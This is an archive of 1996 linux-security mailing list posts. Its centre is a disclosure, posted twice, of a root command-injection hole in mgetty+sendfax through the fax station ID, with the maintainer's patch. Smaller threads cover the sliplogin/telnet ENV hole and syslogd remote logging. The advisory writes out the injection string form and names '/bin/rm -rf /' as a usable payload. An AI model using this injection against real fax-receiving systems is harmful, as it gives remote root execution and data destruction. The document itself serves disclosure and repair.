-0600 (CST) From: Bryan Venable To: Yury Shevchuk cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] sliplogin hole explanation In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 31 Mar 1996, Yury Shevchuk wrote: > Perhaps other people are wiser, but I had a couple of accounts with > login shell set to /bin/false... which is a shell script! I tried > your exploit, works great. :-( > > Of course, this particular hole is easy to fix: reimplement :) > /bin/false in C, and you are safe. But in general, the > environment-passing feature of telnet seems to me a real Pandora box. > The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using > perl for custom login shells? what about PERLLIB then? I'm afraid any > interpreter around has at least one environment variable that can be > exploited this way or that. sounds like an unecessary hack to me. good 'ol /dev/null does the trick for us. in fact, I'm not sure how this whole thing applies to sliplogin... sliplogin is an ELF binary (at least on my system), not a shell script. Bryan Venable | Technical Coordinator | MU Student Server [email protected] | (573) 882-9491 | 132A Neff Annex, MU Campus From [email protected] Tue Apr 2 16:30:52 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA01117; Tue, 2 Apr 1996 16:30:52 -0500 From: Zygo Blaxell Message-Id: <[email protected]> Subject: [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) To: [email protected], [email protected], [email protected], [email protected] Date: Tue, 2 Apr 1996 13:11:29 -0500 (EST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list (sorry about sending this to Gert twice; I found two email addresses in the README files) This is probably of special interest to the Linux community, as at least RedHat has mgetty in their contrib section. mgetty has been around for a while, and judging from the mailing list traffic it is in use at a significant number of sites. Program: mgetty+sendfax Version: all those that support FAX_NOTIFY_PROGRAM Platform: all Vulnerability 1: mgetty does not properly parse input from remote fax modem Impact: if the FAX_NOTIFY_PROGRAM feature is used, and fax reception is allowed, anyone who can send a fax to a machine running mgetty can execute up to 17 bytes of shell command as root on that machine. This can be escalated to full-blown root access if the attacker has a shell account on the receiving machine. It does not matter what the FAX_NOTIFY_PROGRAM does; the vulnerability can be exploited as long as mgetty has support for such a program. Workaround: disable fax reception. Recompile mgetty with 'FAX_NOTIFY_PROGRAM' undefined in policy.h. mgetty 0.98 is distributed with this macro defined by default. Exploit: Call a machine running mgetty+sendfax and send it a fax, with the fax modem's local ID string set to ';17-byte-command; The 17-byte-command will be executed using /bin/sh with root privileges. Fix: in faxlib.c, function fax_wait_for(), add code to remove characters not in the set {alphanumeric, dot, dash, plus} from string 'fax_remote_id', and enforce the limit of 20 characters. Discussion: RTFM, and you'll find the bug. Start with: http://www.leo.org/~doering/mgetty/mgetty_19.html#SEC19: >If you define FAX_NOTIFY_PROGRAM in `policy.h', mgetty will call this >program (or shell script) when a fax has been completely received. It >will be called with the following command line arguments: > >FAX_NOTIFY_PROGRAM '' \ > ... > > is 0 if the receive was successful, non-zero otherwise. > is the fax identification string received from the other >side. is the full path name for each received page. > >A sample command line might look like this: > >/usr/local/bin/new_fax 0 "+49 89 3243328" 1 /var/spool/fax/ff-01.a123 If this specification is naively implemented, it should be possible to inject a command into mgetty by storing it between "';" and ";" in the sending fax modem's ID string. A quick check of the source code reveals that this is the case. Actually, the sample command line really looks like: /usr/local/bin/new_fax 0 '+49 89 3243328' 1 /var/spool/fax/ff-01.a123 There are other instances in the source code where the incorrect form (with " characters) is used in comments, including 'policy.h-dist'. >From http://www.nb.rockwell.com/ref/1048PR3a.html: >6.5.4 +FLID=, Local ID String >Write syntax: +FLID="" >Valid value: 20-character ASCII string >Default value: Empty > >If FLID is not a null string, it generates a TSI or CSI frame. Table >3/T.30 includes digits 0-9, "+" and space. > >If the DCE supports use of Table 3/T.30 only, the response to a +FLID=? >command is "(20) (32, 43, 48-57)." If the DCE supports printable ASCII ><, the response is: "(20) (32-127)." The first "(20)" represents >string length: the second (character values) field reports supported >string values. > >1. The string is saved in RAM. >2. Non-numeric characters are not filtered out. >3. The string is right justified. As far as I can tell, this specifies the allowed format of the +FTSI and related commands for setting and reading fax modem ID strings. Note that any printable ASCII data can be sent, not just numbers. This is even mentioned elsewhere in the mgetty manual. The function fax_get_line is replaced by mdm_get_line() in mgetty version 0.99, but it is otherwise the same as in 0.98. The remote TSI is read in faxlib.c in fax_get_line(), into a 1000-byte buffer: [do {... -zb] [get a byte from fax modem in 'c' -zb] > if ( isprint( c ) && > bufferp < sizeof(buffer) ) > { > buffer[ bufferp++ ] = c; > } [} while... -zb] The set of characters for which isprint() is true includes most of the shell metacharacters. Now, in faxrec.c, in fax_notify_program(), we have: >char * line; ... > line = malloc( fax_fn_size + sizeof( FAX_NOTIFY_PROGRAM) + 100 ); ... > sprintf( line, "%s %d '%s' %d %s >%s 2>&1 FAX_NOTIFY_PROGRAM, > fax_hangup_code, > fax_remote_id, > pagenum, > fax_file_names, > CONSOLE); [ouch, only 100 bytes for a string that could be 1000! -zb] ... > r = system( line ); Note that the Rockwell specs only allow 20 characters for fax ID. Certainly if the fax protocol and modem firmware allow more than 20 characters, then there is a buffer-overrun attack possible against mgetty. It might be possible to do this by violating the fax protocol and exploiting a naive modem on the receiving end. However, you don't need any of this to get root with mgetty, as mgetty conveniently invokes system() for an attacker with data supplied by that attacker as root. Impact: If a perfectly valid and harmless fax ID such as "Joe's Diner" is used, the fax notification part of mgetty will break as a side-effect of this bug (due to mismatched ' characters in system()). Whatever command can fit in 17 ASCII bytes (20 minus the "';" and ";" necessary for the resulting string to be parsed by the shell) with values between 32 and 126 can be executed as root on the receiving machine. This is good for remote denial-of-service attacks (strlen("/bin/rm -rf /")<17), but less useful for appending entries to /etc/passwd and such, as the commands probably require more than 17 bytes of shell code. stdin/stdout/stderr are not available; they are closed in fax_notify_program() before the system() call. The modem is not in data or fax receive mode at this time, so an attacker would not be able to communicate with the command as it ran unless the command took control of the modem. If the attacker has an account on the machine and write access to a directory with a short name, then the attacker can pre-arrange for a program or shell script to be present and invoke it as root by exploiting this bug. Recommended Fixes: Fix 1. Disallow the character ' in fax_remote_id. (Actually, it probably doesn't hurt to disallow anything but {alphanumerics, dot, dash, plus} and convert everything else to underscore or ignore it. Explicitly limit the length of fax_remote_id to 20 characters. Fix 2. Replace the system() call with an execlp(), thus preventing a shell from becoming involved and also avoiding the potential buffer-overrun bug. Explicitly limit the length of fax_remote_id to 20 characters. Also make a note in the documentation about this sort of problem, as it might rear its ugly head again if someone uses a naive shell script as FAX_NOTIFY_PROGRAM. A variation is to put the ID in an environment variable. This is better design but incompatible with existing practice. Fix 3. All of the above. Extra paranoia never hurt anyone. Interestingly enough, I found the following code in faxrec.c, in fax_get_page_data(), while looking for existing code that might plug this hole: > /* filter out characters that will give problems in the shell */ > for ( j=0; fax_remote_id[j] != 0; j++ ) > { > char c = fax_remote_id[j]; > if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || > c == '(' || c == ')' || c == '>' || c == '<' ) > { > if ( temp[i-1] != '-' ) temp[i++] = '-' ; > } > else if ( c != '"' && c != '\'' ) temp[i++] = c; > } > if ( temp[i-1] == '-' ) i--; > sprintf( &temp[i], ".%02d", pagenum ); This prevents incoming fax filenames from having common obnoxious characters in them. However, the list is incomplete; notably absent are characters like ` and |. The code also doesn't modify fax_remote_id, which would have quite effectively plugged this hole. -- Zygo Blaxell, Network admin, Linux system support, Windows '95 moral support Myrus Design Inc. Tel: +1 613 233 2339 Suite 203, 275 Bank St. 93 Glebe Avenue Ottawa, Ontario, Canada K2C 1E3 Ottawa, Ontario, Canada K1S 2C2 -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong From [email protected] Tue Apr 2 16:53:31 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA01222; Tue, 2 Apr 1996 16:53:31 -0500 From: Zygo Blaxell Message-Id: <[email protected]> Subject: [linux-security] Vulnerabilities in mgetty+sendfax (root access by fax) To: [email protected], [email protected], [email protected], [email protected] Date: Tue, 2 Apr 1996 13:11:29 -0500 (EST) X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list (sorry about sending this to Gert twice; I found two email addresses in the README files) This is probably of special interest to the Linux community, as at least RedHat has mgetty in their contrib section. mgetty has been around for a while, and judging from the mailing list traffic it is in use at a significant number of sites. Program: mgetty+sendfax Version: all those that support FAX_NOTIFY_PROGRAM Platform: all Vulnerability 1: mgetty does not properly parse input from remote fax modem Impact: if the FAX_NOTIFY_PROGRAM feature is used, and fax reception is allowed, anyone who can send a fax to a machine running mgetty can execute up to 17 bytes of shell command as root on that machine. This can be escalated to full-blown root access if the attacker has a shell account on the receiving machine. It does not matter what the FAX_NOTIFY_PROGRAM does; the vulnerability can be exploited as long as mgetty has support for such a program. Workaround: disable fax reception. Recompile mgetty with 'FAX_NOTIFY_PROGRAM' undefined in policy.h. mgetty 0.98 is distributed with this macro defined by default. Exploit: Call a machine running mgetty+sendfax and send it a fax, with the fax modem's local ID string set to ';17-byte-command; The 17-byte-command will be executed using /bin/sh with root privileges. Fix: in faxlib.c, function fax_wait_for(), add code to remove characters not in the set {alphanumeric, dot, dash, plus} from string 'fax_remote_id', and enforce the limit of 20 characters. Discussion: RTFM, and you'll find the bug. Start with: http://www.leo.org/~doering/mgetty/mgetty_19.html#SEC19: >If you define FAX_NOTIFY_PROGRAM in `policy.h', mgetty will call this >program (or shell script) when a fax has been completely received. It >will be called with the following command line arguments: > >FAX_NOTIFY_PROGRAM '' \ > ... > > is 0 if the receive was successful, non-zero otherwise. > is the fax identification string received from the other >side. is the full path name for each received page. > >A sample command line might look like this: > >/usr/local/bin/new_fax 0 "+49 89 3243328" 1 /var/spool/fax/ff-01.a123 If this specification is naively implemented, it should be possible to inject a command into mgetty by storing it between "';" and ";" in the sending fax modem's ID string. A quick check of the source code reveals that this is the case. Actually, the sample command line really looks like: /usr/local/bin/new_fax 0 '+49 89 3243328' 1 /var/spool/fax/ff-01.a123 There are other instances in the source code where the incorrect form (with " characters) is used in comments, including 'policy.h-dist'. >From http://www.nb.rockwell.com/ref/1048PR3a.html: >6.5.4 +FLID=, Local ID String >Write syntax: +FLID="" >Valid value: 20-character ASCII string >Default value: Empty > >If FLID is not a null string, it generates a TSI or CSI frame. Table >3/T.30 includes digits 0-9, "+" and space. > >If the DCE supports use of Table 3/T.30 only, the response to a +FLID=? >command is "(20) (32, 43, 48-57)." If the DCE supports printable ASCII ><, the response is: "(20) (32-127)." The first "(20)" represents >string length: the second (character values) field reports supported >string values. > >1. The string is saved in RAM. >2. Non-numeric characters are not filtered out. >3. The string is right justified. As far as I can tell, this specifies the allowed format of the +FTSI and related commands for setting and reading fax modem ID strings. Note that any printable ASCII data can be sent, not just numbers. This is even mentioned elsewhere in the mgetty manual. The function fax_get_line is replaced by mdm_get_line() in mgetty version 0.99, but it is otherwise the same as in 0.98. The remote TSI is read in faxlib.c in fax_get_line(), into a 1000-byte buffer: [do {... -zb] [get a byte from fax modem in 'c' -zb] > if ( isprint( c ) && > bufferp < sizeof(buffer) ) > { > buffer[ bufferp++ ] = c; > } [} while... -zb] The set of characters for which isprint() is true includes most of the shell metacharacters. Now, in faxrec.c, in fax_notify_program(), we have: >char * line; ... > line = malloc( fax_fn_size + sizeof( FAX_NOTIFY_PROGRAM) + 100 ); ... > sprintf( line, "%s %d '%s' %d %s >%s 2>&1 FAX_NOTIFY_PROGRAM, > fax_hangup_code, > fax_remote_id, > pagenum, > fax_file_names, > CONSOLE); [ouch, only 100 bytes for a string that could be 1000! -zb] ... > r = system( line ); Note that the Rockwell specs only allow 20 characters for fax ID. Certainly if the fax protocol and modem firmware allow more than 20 characters, then there is a buffer-overrun attack possible against mgetty. It might be possible to do this by violating the fax protocol and exploiting a naive modem on the receiving end. However, you don't need any of this to get root with mgetty, as mgetty conveniently invokes system() for an attacker with data supplied by that attacker as root. Impact: If a perfectly valid and harmless fax ID such as "Joe's Diner" is used, the fax notification part of mgetty will break as a side-effect of this bug (due to mismatched ' characters in system()). Whatever command can fit in 17 ASCII bytes (20 minus the "';" and ";" necessary for the resulting string to be parsed by the shell) with values between 32 and 126 can be executed as root on the receiving machine. This is good for remote denial-of-service attacks (strlen("/bin/rm -rf /")<17), but less useful for appending entries to /etc/passwd and such, as the commands probably require more than 17 bytes of shell code. stdin/stdout/stderr are not available; they are closed in fax_notify_program() before the system() call. The modem is not in data or fax receive mode at this time, so an attacker would not be able to communicate with the command as it ran unless the command took control of the modem. If the attacker has an account on the machine and write access to a directory with a short name, then the attacker can pre-arrange for a program or shell script to be present and invoke it as root by exploiting this bug. Recommended Fixes: Fix 1. Disallow the character ' in fax_remote_id. (Actually, it probably doesn't hurt to disallow anything but {alphanumerics, dot, dash, plus} and convert everything else to underscore or ignore it. Explicitly limit the length of fax_remote_id to 20 characters. Fix 2. Replace the system() call with an execlp(), thus preventing a shell from becoming involved and also avoiding the potential buffer-overrun bug. Explicitly limit the length of fax_remote_id to 20 characters. Also make a note in the documentation about this sort of problem, as it might rear its ugly head again if someone uses a naive shell script as FAX_NOTIFY_PROGRAM. A variation is to put the ID in an environment variable. This is better design but incompatible with existing practice. Fix 3. All of the above. Extra paranoia never hurt anyone. Interestingly enough, I found the following code in faxrec.c, in fax_get_page_data(), while looking for existing code that might plug this hole: > /* filter out characters that will give problems in the shell */ > for ( j=0; fax_remote_id[j] != 0; j++ ) > { > char c = fax_remote_id[j]; > if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || > c == '(' || c == ')' || c == '>' || c == '<' ) > { > if ( temp[i-1] != '-' ) temp[i++] = '-' ; > } > else if ( c != '"' && c != '\'' ) temp[i++] = c; > } > if ( temp[i-1] == '-' ) i--; > sprintf( &temp[i], ".%02d", pagenum ); This prevents incoming fax filenames from having common obnoxious characters in them. However, the list is incomplete; notably absent are characters like ` and |. The code also doesn't modify fax_remote_id, which would have quite effectively plugged this hole. -- Zygo Blaxell, Network admin, Linux system support, Windows '95 moral support Myrus Design Inc. Tel: +1 613 233 2339 Suite 203, 275 Bank St. 93 Glebe Avenue Ottawa, Ontario, Canada K2C 1E3 Ottawa, Ontario, Canada K1S 2C2 -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong From [email protected] Tue Apr 2 16:57:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA01276; Tue, 2 Apr 1996 16:57:25 -0500 Resent-Date: Tue, 2 Apr 1996 16:55:45 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII From: Bryan Venable To: Yury Shevchuk cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] sliplogin hole explanation Date: Mon, 1 Apr 1996 15:31:45 -0600 (CST) X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list On Sun, 31 Mar 1996, Yury Shevchuk wrote: > Perhaps other people are wiser, but I had a couple of accounts with > login shell set to /bin/false... which is a shell script! I tried > your exploit, works great. :-( > > Of course, this particular hole is easy to fix: reimplement :) > /bin/false in C, and you are safe. But in general, the > environment-passing feature of telnet seems to me a real Pandora box. > The recent LD_LIBRARY_PATH hole, now the ENV hole, ... are you using > perl for custom login shells? what about PERLLIB then? I'm afraid any > interpreter around has at least one environment variable that can be > exploited this way or that. sounds like an unecessary hack to me. good 'ol /dev/null does the trick for us. in fact, I'm not sure how this whole thing applies to sliplogin... sliplogin is an ELF binary (at least on my system), not a shell script. Bryan Venable | Technical Coordinator | MU Student Server [email protected] | (573) 882-9491 | 132A Neff Annex, MU Campus From [email protected] Tue Apr 2 16:57:35 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA01292; Tue, 2 Apr 1996 16:57:35 -0500 Resent-Date: Tue, 2 Apr 1996 16:56:10 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> X-Authentication-Warning: passer.osg.gov.bc.ca: Host localhost [127.0.0.1] didn't use HELO protocol X-Mailer: DXmail In-reply-to: Your message of "Thu, 28 Mar 96 15:03:31 EST." <[email protected]> X-Mts: smtp Reply-to: [email protected] From: Cy Schubert - ITSD Open Systems Group To: Jeff Uphoff cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] Summary re: syslogd spam Date: Tue, 02 Apr 96 07:10:09 -0800 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [Mod: Quoting trimmed. --Jeff.] > Just an FYI on this subject (since nobody has mentioned it yet)...Greg > Wettstein's sysklogd v1.3--released late last month--has an internal > disable for remote logging. From a beta release's README: Many of these features, though nice to have, are redundant. 1. IP firewalling is already built into the kernel. All you need to do is block port 514. 2. What if you want to allow some hosts to log to your server while disallowing the reset of the Internet? There are two possible solutions. Either use IP firewalling already built into the kernel or build a TCP/Wrapper interface into sysklogd. Using the existing IP firewall code already in the kernel is cheaper (less effort). (Why not enable the firewall code in the kernel by default?) Regards, Phone: (604)389-3827 Cy Schubert OV/VM: BCSC02(CSCHUBER) Open Systems Support BITNET: [email protected] ITSD Internet: [email protected] [email protected] "Quit spooling around, JES do it." From [email protected] Tue Apr 2 16:57:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA01308; Tue, 2 Apr 1996 16:57:42 -0500 Resent-Date: Tue, 2 Apr 1996 16:56:38 -0500 Resent-From: Jeff Uphoff Resent-Message-Id: <[email protected]> Resent-To: [email protected] Message-Id: <[email protected]> In-Reply-To: Your message of Tue, April 2, 1996 07:10:09 -0800 References: <[email protected]> <[email protected]> X-Palindrome: We few erase cares, Al; laser aces are we few. X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up From: Jeff Uphoff To: [email protected] Cc: Olaf Kirch , [email protected] Subject: Re: [linux-security] Summary re: syslogd spam Date: Tue, 2 Apr 1996 11:34:13 -0500 X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list [...Discussion regarding new sysklogd v1.3 release and its "-r" option...] "CS" == Cy Schubert <- ITSD Open Systems Group > writes: CS> Many of these features, though nice to have, are redundant. Agreed, with qualification. CS> 1. IP firewalling is already built into the kernel. All you need CS> to do is block port 514. But I thought I'd point this feature of sysklogd v1.3 out anyway, mainly because--especially for newcomers to Linux--blocking syslogd spam is much easier to do by running syslogd without the "-r" option than by learning how to write effective firewalling rules. It's also less likely to put the machine into a "funny" state (as mistakes in firewalling rules have been known to do...I know this from regrettable experience ). I consider firewalling to be a moderately advanced topic, and I don't expect newcomers to networking, UNIX, Linux, etc., to understand it all immediately.... If someone is already using firewalling rules then this new syslogd feature doesn't really buy him/her anything. But if the only thing someone wants to block/protect is their syslog port then this is a handy and easy to use feature. CS> 2. What if you want to allow some hosts to log to your server while CS> disallowing the reset of the Internet? There are two possible CS> solutions. Either use IP firewalling already built into the kernel CS> or build a TCP/Wrapper interface into sysklogd. Using the existing CS> IP firewall code already in the kernel is cheaper (less effort). CS> (Why not enable the firewall code in the kernel by default?) I brought up the possibility of linking against libwrap with Greg Wettstein when I got the early 1.3 beta code from him. He'd apparently already considered it, and he held essentially the same view as you state above: using the kernel's firewalling feature is just as effective and it doesn't require extra coding, an extra library, etc. --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Tue Apr 2 17:13:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id RAA01412; Tue, 2 Apr 1996 17:13:26 -0500 Date: Tue, 2 Apr 1996 17:11:52 -0500 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-security] Technical problems...please do not adjust your T.V. X-Spook: arrangements plutonium Randal Schwartz X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list Due to a couple of sendmail upgrades gone awry here I'm having to re-send some (four) messages to the linux-security list; they got partially cooked when rogue daemons breathed fire on them. If you get multiple copies of some of these messages (hopefully not more than two), don't worry...the problem is known to be in the transmitter and our best technicians are [OK, OK...our only technician is] working on it. Also due to these sendmail problems: some list members may not have received one or more linux-security and/or linux-alert messages that were posted last week (e.g. the CERT advisory "CA-96.07 - Weaknesses in Java Bytecode Verifier"). If you think that you might have missed (i.e. not received) a message or two, please check the list archive at: ftp://linux.nrao.edu/pub/linux/security/list-archive. Sorry for the inconvenience! --Up. -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | [email protected] PGP key available at: http://www.cv.nrao.edu/~juphoff/ From [email protected] Tue Apr 2 17:27:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id RAA01501; Tue, 2 Apr 1996 17:27:26 -0500 Message-Id: From: [email protected] (Gert Doering) Subject: [linux-security] Re: Vulnerabilities in mgetty+sendfax (root access by fax) To: [email protected] (Zygo Blaxell) Date: Tue, 2 Apr 1996 22:05:14 +0200 Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Zygo Blaxell" at Apr 2, 96 01:11:29 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 7449 Sender: [email protected] Precedence: list Hi, Zygo Blaxell wrote: > (sorry about sending this to Gert twice; I found two email addresses in > the README files) Well, both get delivered to the same mailbox... there is not much difference here. [..] > Version: all those that support FAX_NOTIFY_PROGRAM > Platform: all > > Vulnerability 1: mgetty does not properly parse input from remote fax > modem Hmmm. Didn't know that there were *still* problems. > Impact: if the FAX_NOTIFY_PROGRAM feature is used, and fax reception > is allowed, anyone who can send a fax to a machine running > mgetty can execute up to 17 bytes of shell command as root on > that machine. This can be escalated to full-blown root access > if the attacker has a shell account on the receiving machine. Huh? Could you give an example? I think I know what one would do (send something with ";", wildcards and space in it?), but I thought that it wasn't possible to actually exploit that. [..] > Workaround: disable fax reception. Recompile mgetty with > 'FAX_NOTIFY_PROGRAM' undefined in policy.h. mgetty 0.98 > is distributed with this macro defined by default. I'll fix it in the latest 0.99... > Exploit: Call a machine running mgetty+sendfax and send it a fax, with > the fax modem's local ID string set to > ';17-byte-command; > The 17-byte-command will be executed using /bin/sh with root > privileges. Yes. You're right. Since the standard isn't too clear what characters are allowed, many faxmodems allow *any* ASCII character to be sent, including "'" and ";". *sigh*. > Fix: in faxlib.c, function fax_wait_for(), add code to remove > characters not in the set {alphanumeric, dot, dash, plus} > from string 'fax_remote_id', and enforce the limit of 20 > characters. Hmmm. Not the proper place to fix it (but the easy one). The fax ID should be passed to the calling functions "as-is", but they should check better before calling "system()". > Discussion: > > RTFM, and you'll find the bug. Start with: No discussion needed, you're perfectly right. I know my code. It was a dumb thing to assume that this invocation of "system()" was tolerable as the input data comes from a "controlled" environment... [..] > As far as I can tell, this specifies the allowed format of the +FTSI and > related commands for setting and reading fax modem ID strings. Note > that any printable ASCII data can be sent, not just numbers. This is > even mentioned elsewhere in the mgetty manual. Yup. > The function fax_get_line is replaced by mdm_get_line() in mgetty > version 0.99, but it is otherwise the same as in 0.98. I know. [.. many correct observations deleted for brevity...] [..] > Note that the Rockwell specs only allow 20 characters for fax ID. > Certainly if the fax protocol and modem firmware allow more than 20 > characters, then there is a buffer-overrun attack possible against > mgetty. Hmmm. I disagree :-) -- the fax id is transmitted in a special frame in the fax modem handshake, which has (AFAIK) not more room than 20 characters. [..] > Fix 1. Disallow the character ' in fax_remote_id. (Actually, > it probably doesn't hurt to disallow anything but {alphanumerics, dot, > dash, plus} and convert everything else to underscore or ignore it. Yes. > Explicitly limit the length of fax_remote_id to 20 characters. See above... > Fix 2. Replace the system() call with an execlp(), thus > preventing a shell from becoming involved and also avoiding the > potential buffer-overrun bug. Problematic, because I have to support a few systems where a shell script cannot be exec()ed (old SCO ODT, for example), but people want shell scripts as FAX_NOTIFY_PROGRAM. > Explicitly limit the length of fax_remote_id to 20 characters. Not needed. > Also make a note in the documentation > about this sort of problem, as it might rear its ugly head again if > someone uses a naive shell script as FAX_NOTIFY_PROGRAM. Yes. > A variation is to put the ID in an environment variable. > This is better design but incompatible with existing practice. It may be better design, but it isn't any little bit safer when used in shell scripts. > Fix 3. All of the above. Extra paranoia never hurt anyone. Yup ;-) > Interestingly enough, I found the following code in faxrec.c, in > fax_get_page_data(), while looking for existing code that might plug > this hole: > > > /* filter out characters that will give problems in the shell */ [..] This is for the file names, which are more critical than the remote ID. [..] > However, the list is incomplete; notably absent are characters > like ` and |. Fixed. > The code also doesn't modify fax_remote_id, > which would have quite effectively plugged this hole. Yes, this is true. I did not (and do not) want to hide information from the user (logfile/user mail), so I do not want to modify this directly. Hmmm, hmmm. I'll do it anyway (limit the length of the remote station ID explicitely, and remove all quotes - the rest is left as excercise for the shell script writer) Patch vs. 0.99-Mar20 appended below. (Will not work vs. 0.98, as many things look "a bit" different now) gert ---------------------------------------------------- diff -u3 -r mgetty-0.99-orig/faxlib.c mgetty-0.99/faxlib.c --- mgetty-0.99-orig/faxlib.c Wed Jan 3 21:32:17 1996 +++ mgetty-0.99/faxlib.c Tue Apr 2 21:53:32 1996 @@ -19,7 +19,7 @@ Modem_type modem_type = Mt_class2; /* if uninitialized, assume class2 */ -char fax_remote_id[1000]; /* remote FAX id +FTSI */ +char fax_remote_id[40]; /* remote FAX id +FTSI */ char fax_param[1000]; /* transm. parameters +FDCS */ fax_param_t fax_par_d; /* fax params detailed */ char fax_hangup = 0; @@ -36,6 +36,19 @@ * handle all the various class 2 / class 2.0 status responses */ +/* copy fax station id, removing quote characters (dangerous for shell!) */ +static void fwf_copy_remote_id _P1( (id), char * id ) +{ +int w = 0; + while ( *id && w < sizeof(fax_remote_id)-1 ) + { + if ( *id == '"' || *id == '\'' ) fax_remote_id[w++] = '_'; + else fax_remote_id[w++] = *id; + id++; + } + fax_remote_id[w]=0; +} + static boolean fwf_timeout = FALSE; static RETSIGTYPE fwf_sig_alarm() /* SIGALRM handler */ @@ -89,7 +102,7 @@ strncmp( line, "+FPI:", 5 ) == 0 ) { lprintf( L_MESG, "fax_id: '%s'", line ); - strcpy( fax_remote_id, &line[ix] ); + fwf_copy_remote_id( &line[ix] ); } else if ( strncmp( line, "+FDCS:", 6 ) == 0 || diff -u3 -r mgetty-0.99-orig/faxrec.c mgetty-0.99/faxrec.c --- mgetty-0.99-orig/faxrec.c Sun Mar 3 22:44:56 1996 +++ mgetty-0.99/faxrec.c Tue Apr 2 22:00:46 1996 @@ -212,8 +212,8 @@ { char c = fax_remote_id[j]; if ( c == ' ' || c == '/' || c == '\\'|| c == '&' || c == ';' || - c == '(' || c == ')' || c == '>' || c == '<' || - c == '?' || c == '*' ) + c == '(' || c == ')' || c == '>' || c == '<' || c == '|' || + c == '?' || c == '*' || c == '\''|| c == '"' || c == '`' ) { if ( temp[i-1] != '-' ) temp[i++] = '-' ; } ---------------------------------------------------- -- Gert Doering Mobile communications ... right now writing from *AWAY* :-)) +49 177 2160 221 or +49 8251 4470 [email protected] linux-security/1995/ 42775 1767 1767 0 6231721141 13436 5ustar majdommajdomlinux-security/1995/linux-security.950302100664 1767 1767 5552 5730454651 17244 0ustar majdommajdomFrom [email protected] Thu Mar 2 17:22:18 1995 Received: (from majordom@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA19702; Thu, 2 Mar 1995 17:21:53 -0500 Received: (from juphoff@localhost) by tarsier.cv.nrao.edu (8.6.9/8.6.9) id RAA19698; Thu, 2 Mar 1995 17:21:49 -0500 Date: Thu, 2 Mar 1995 17:21:49 -0500 From: Jeff Uphoff Message-Id: <[email protected]> To: [email protected] Subject: General information and test. X-Palindrome: Go hang a salami, I'm a lasagna hog. X-Attribution: Up Sender: [email protected] Precedence: list Reply-To: [email protected] Well, the genie's out of the bottle now (urg--I hate these sayings) on this set of lists suggested by Olaf, and started by Olaf and myself for security discussions and announcements. Judging by the number of subscriptions generated after Olaf and I mentioned their existence in just the linux-doc list, the community has a fairly strong interest in having lists devoted to security for Linux. Once Olaf's c.o.l.a. post goes through I expect that things will really get rolling here. Just to make sure everyone knows the setup here, I'll describe things briefly: Two lists, "linux-alert" and "linux-security," are in place. The alert list is intended to be a CERT-like list for announcing security problems that have been discovered that affect Linux--it's pretty much one-way, with posts to it compiled or drawn from submissions to the security list and/or directly to the moderators. The security list is more free-form and discussion-based, though it will be moderated (at least initially). No rigid moderation criteria are really established; everyone already can pretty much figure out what is on-topic and what's not, so I don't anticipate much, if any, post-rejection occuring. In addition to the two regular lists, each list is available in digest form. (There's not much use in subscribing to the alert list in digest form obviously, but it's there if anyone wants it, as well as for archive purposes). The digest lists are set to mail out digests at the following thresholds (any of the three will trigger a digest mailing): 500 lines of information. 40,000 